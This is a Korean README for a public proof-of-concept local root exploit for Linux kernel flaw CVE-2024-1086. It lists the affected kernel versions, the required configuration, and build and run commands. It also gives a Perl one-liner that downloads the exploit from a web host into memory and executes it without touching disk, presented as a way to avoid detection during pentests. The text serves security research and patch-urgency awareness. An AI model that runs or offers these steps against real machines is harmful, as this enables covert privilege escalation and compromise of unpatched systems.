
CVE-2024-1086를 대상으로 하는 로컬 권한 상승 익스플로잇으로, Linux 커널 v5.14~v6.6을 대상으로 하며 KernelCTF에서 99.4%의 성공률을 보입니다. 침투 테스트를 위한 파일리스 실행 지원을 포함합니다.
CVE-2024-1086에 대한 범용 로컬 권한 상승 개념 증명 익스플로잇입니다. 대부분의 Debian, Ubuntu, KernelCTF를 포함한 v5.14에서 v6.6 사이의 Linux 커널에서 작동합니다. KernelCTF 이미지에서 성공률은 99.4%입니다.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
익스플로잇에 대한 전체 설명은 배경 정보와 유용한 다이어그램을 포함하여 Flipping Pages 블로그 게시물에서 확인할 수 있습니다.
이 익스플로잇은 v5.14(포함)부터 v6.6(포함)까지의 버전에 영향을 미치며, 패치된 브랜치 v5.15.149>, v6.1.76>, v6.6.15>는 제외됩니다. 이 버전들에 대한 패치는 2024년 2월에 출시되었습니다. 기본 취약점은 v3.15부터 v6.8-rc1까지의 모든 버전(패치된 안정 브랜치 제외)에 영향을 미칩니다.
주의사항:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y가 설정된 v6.4> 커널(Ubuntu v6.5 포함)에서 작동하지 않습니다.CONFIG_USER_NS=y), 해당 사용자 네임스페이스가 권한이 없는 상태(unprivileged)여야 하며(sh 명령 sysctl kernel.unprivileged_userns_clone = 1), nf_tables가 활성화되어 있어야 합니다(kconfig CONFIG_NF_TABLES=y). 기본적으로 Debian, Ubuntu, KernelCTF에서는 모두 활성화되어 있습니다. 다른 배포판은 테스트되지 않았지만 작동할 수 있습니다. 또한 익스플로잇은 x64/amd64에서만 테스트되었습니다.기본 값은 Debian, Ubuntu, KernelCTF에서 로컬 셸로 바로 작동합니다. 테스트되지 않은 설정/배포판에서는 kconfig 값이 대상 커널과 일치하는지 확인하십시오. 이 값들은 src/config.h에서 지정할 수 있습니다. 물리적 메모리가 32GiB를 초과하는 머신에서 익스플로잇을 실행하는 경우 CONFIG_PHYS_MEM을 증가시키십시오. SSH를 통해 (테스트 머신에) 또는 리버스 셸로 익스플로잇을 실행하는 경우 불필요한 네트워크 활동을 피하기 위해 CONFIG_REDIRECT_LOG를 1로 전환할 수 있습니다.
이 방법이 실용적이지 않다면, 기본 설정으로 컴파일된 x64 바이너리가 있습니다.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
바이너리: CVE-2024-1086/exploit
익스플로잇 실행은 마찬가지로 간단합니다:
./exploit
탐지를 피해야 하는 펜테스트 상황을 위해 파일리스 실행도 지원됩니다. 단, 대상에 Perl이 설치되어 있어야 합니다:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
이 소프트웨어 디렉터리/폴더/저장소("저장소")에 있는 프로그램과 스크립트("프로그램")는 교육/연구 목적으로만 게시, 개발 및 배포됩니다. 저("제작자")는 이 저장소에 있는 프로그램의 악의적 또는 불법적 사용을 용납하지 않습니다. 이는 연구 공유가 목적이지 불법 활동을 위한 것이 아니기 때문입니다. 귀하가 이 저장소의 프로그램을 사용하여 행하는 모든 행위에 대해 저는 법적 책임을 지지 않습니다.